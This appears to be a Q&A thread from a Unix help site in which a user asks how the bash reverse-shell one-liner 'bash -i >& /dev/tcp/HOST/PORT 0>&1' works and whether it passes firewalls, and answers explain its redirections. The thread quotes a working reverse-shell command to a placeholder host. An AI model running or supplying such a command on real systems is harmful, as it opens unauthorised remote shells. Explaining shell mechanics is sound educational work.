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I tried

bash -i >& /dev/tcp/HOST/PORT 0>&1

but it does not seem to work behind firewalls. What does this code actually do, which ports are forwarded and could it work behind firewalls?

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This snippet runs a new interactive instance of bash (bash -i), on a TCP connection to the specified port on the specified host which is created for the duration of the bash process. Standard output and standard error are sent through this connection (>& /dev/tcp/HOST/PORT), and standard input is read through this connection (0>&1 — this should be 0<&1 but 0>&1 works too).

There is no port forwarding going on. Obviously, a TCP server of some kind has to be listening and accepting connections on that HOST:PORT, and the firewall has to let the connection through.

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  • What connection is '/dev/tcp/HOST/PORT' Where is the host defined and where is the port defined?
    – Helos
    Feb 20, 2014 at 0:25
  • 2
    @Helos Did you literally see /dev/tcp/HOST/PORT? I assumed that you'd replaced a name by HOST and a number by PORT. Otherwise you'd get an error message from bash. Since you didn't mention any error message, I presume that you didn't see one.
    – Gilles 'SO- stop being evil'
    Feb 20, 2014 at 0:27
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    @Gilles, I can't digest the 0<&1 part. I read it as 'take bash stdout (&1) and pipe it into bash stdin (0)', which makes sense. Can you please explain how this part works?
    – golem
    Jun 1, 2015 at 21:44
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    @golem This is a redirection. No pipe is involved. 0<&1 means connect whatever is currently opened on file descriptor 1 to file descriptor 0. Since the previous redirection >& /dev/tcp/HOST/PORT connected fd 1 (the default for an output redirection) to /dev/tcp/HOST/PORT, i.e. opened a TCP socket, this duplicates the TCP connection to file descriptor 0 (i.e. the same socket is now also open on fd 0, this is different from 0</dev/tcp/HOST/PORT which would open a different socket to the same server).
    – Gilles 'SO- stop being evil'
    Jun 1, 2015 at 22:43
  • Connecting was a keyword to my understanding; calling the process piping was indeed what confused me.
    – golem
    Jun 2, 2015 at 0:52

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